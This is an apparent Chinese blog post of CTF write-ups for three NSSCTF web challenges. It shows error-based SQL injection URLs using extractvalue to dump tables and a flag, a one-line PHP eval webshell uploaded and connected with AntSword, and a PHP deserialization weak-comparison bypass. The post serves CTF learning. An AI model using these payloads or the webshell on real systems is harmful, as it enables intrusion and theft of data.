当前位置: 首页 > news >正文

NSSCTF-Web题目5

目录

[SWPUCTF 2021 新生赛]error

1、题目

2、知识点

3、思路

[LitCTF 2023]作业管理系统

1、题目

2、知识点

3、思路

[HUBUCTF 2022 新生赛]checkin

1、题目

2、知识点

3、思路


[SWPUCTF 2021 新生赛]error

1、题目

2、知识点

数据库注入、报错注入

3、思路

首先,输入一个1

输入1'

数据库语句报错,且报错信息有回显出来,加入注释符

正常回显,说明当前的闭合方式正确,为单引号的闭合,使用报错函数extractvalue

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,database())) --+

得到数据库名为:test_db

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))) --+

得到两个表:test_tb,users

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='test_tb'))) --+

test_tb表的两个字段为:id,flag

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test_db' and table_name='users'))) --+

users表的三个字段:id,username,password

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select group_concat(flag) from test_db.test_tb))) --+

得到flag的前半段,这里以为另外一半藏到别的地方,其实是没完全显示出来,使用函数substring

substring()

http://node4.anna.nssctf.cn:28465/index.php?id=1' and extractvalue(1,concat(0x7e,(select substring(group_concat(flag),32,30) from test_db.test_tb))) --+

合并起来的flag:NSSCTF{eed0ee27-1b46-4520-a7b5-71dd9183d446}


[LitCTF 2023]作业管理系统

1、题目

2、知识点

文件上传,蚁剑连接

3、思路

右键,查看源码,发现登录名和密码

登录上去

这里有很多功能,我们可以上传一句话木马文件 flag.php

<?php
@eval($_POST['cmd']); #一句话木马
?>

这里我们可以知道上传到根目录下

上传成功后使用蚁剑连接

连接成功后在根目录找到flag文件

打开flag文件,得到flag

得到flag:

NSSCTF{d0dc1586-48ed-4661-8b97-02fd17bf0cd4}


[HUBUCTF 2022 新生赛]checkin

1、题目

2、知识点

PHP反序列化,数组

3、思路

题目给了我们一段代码

$data_unserialize['username']==$username&&$data_unserialize['password']==$password

审计代码,意思是username和password的值反序列后的值要相同,这里使用了弱类型比较(==)

代码中给了两个值,先进行序列化后上传看看,使用在线网站

PHP 在线工具 | 菜鸟工具 (jyshare.com)

<?php
$info = array(
    'username'=>"this_is_secret",
    'password'=>"this_is_not_known_to_you"
);
echo  serialize($info);

http://node5.anna.nssctf.cn:25489/?info=a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

flag没有出来,因为username和password的值更改了,我们不知道具体的值是什么

这里我们就要考虑怎么使两个值相同

弱比较中,true和非空、非零字符串弱比较(==)都是为true,所以我们使两个字段的值都为true

<?php
$info = array(
    'username'=>true,
    'password'=>true
);
echo  serialize($info);
 

将得到的值传给info

得到flag:NSSCTF{5713f43e-708e-458e-a6fc-fd82c254f8d3}


这篇文章就先写到这里啦,哪里不懂的或者哪里不足的欢迎批评指正

http://www.lryc.cn/news/368997.html

相关文章:

  • cnvd_2015_07557-redis未授权访问rce漏洞复现-vulfocus复现
  • 免费,C++蓝桥杯等级考试真题--第7级(含答案解析和代码)
  • python为什么要字符串格式化
  • go语言后端开发学习(三)——基于validator包实现接口校验
  • 系统架构设计师【补充知识】: 应用数学 (核心总结)
  • 【ArcGIS微课1000例】0118:一文讲清楚tif(geotiff)栅格数据格式
  • 调用第三方API --------------Python篇
  • Web自动化测试-掌握selenium工具用法,使用WebDriver测试Chrome/FireFox网页(Java
  • maven多模块项目搭建
  • PostgreSQL的视图pg_tables
  • Stable diffusion采样器详解
  • 为什么要进行渗透测试?
  • 后方碰撞预警系统技术规范(简化版)
  • Position定位
  • npm install 的原理
  • 基于I2C协议的OLED显示(利用U82G库)
  • 【文末附gpt升级秘笈】探索AGI之路:穿越大模型的冰与火,谱写未来技术的乐章
  • 国内12寸先进封装厂家的一些情况
  • 【代码随想录训练营】【Day 48】【动态规划-7】| 卡码 57, Leetcode 322, 279
  • 【Qt】Qt常见的数据类型
  • 【源码】Spring Data JPA原理解析之事务执行原理
  • 第十一篇——信息增量:信息压缩中的保守主义原则
  • 中国飞行器设计创新大赛多旋翼无人机任务飞行
  • WPF-UI布局
  • 武忠祥17堂课没必要全听,这几个才是精华!
  • Android 蓝牙profile的配置
  • Selenium时间等待_显示等待
  • 41 mysql subquery 的实现
  • 钉钉二次开发-企业内部系统集成官方OA审批流程(三)
  • 代码随想录算法训练营第五十四 | ● 392.判断子序列 ● 115.不同的子序列